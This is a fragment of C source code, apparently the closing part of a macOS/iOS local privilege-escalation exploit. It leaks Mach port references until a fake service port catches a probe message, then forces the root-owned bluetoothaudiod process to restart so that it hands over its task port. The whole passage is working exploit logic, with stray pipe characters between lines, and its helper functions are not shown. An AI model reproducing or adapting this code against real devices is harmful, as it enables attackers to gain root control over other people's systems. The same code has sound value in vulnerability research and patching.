printf("sending probe: %s\n", mach_error_string(err));
|
|
|
|
mach_msg_empty_rcv_t reply = {0};
|
|
mach_msg(&reply.header,
|
|
MACH_RCV_MSG | MACH_RCV_TIMEOUT,
|
|
0,
|
|
sizeof(reply),
|
|
replacer_ps,
|
|
1, // 1ms
|
|
0);
|
|
|
|
if (reply.header.msgh_id == 0x41414141) {
|
|
// worked:
|
|
printf("got the probe message\n");
|
|
fake_service_port = replacer_ps;
|
|
break;
|
|
}
|
|
printf("trying again (%d)\n", i);
|
|
|
|
// if it didn't work leak another ref and try again:
|
|
leak_one_ref(service);
|
|
}
|
|
|
|
|
|
printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");
|
|
|
|
force_bluetoothaudiod_restart();
|
|
|
|
service_requests(fake_service_port);
|
|
|
|
return 0;
|
|
}
|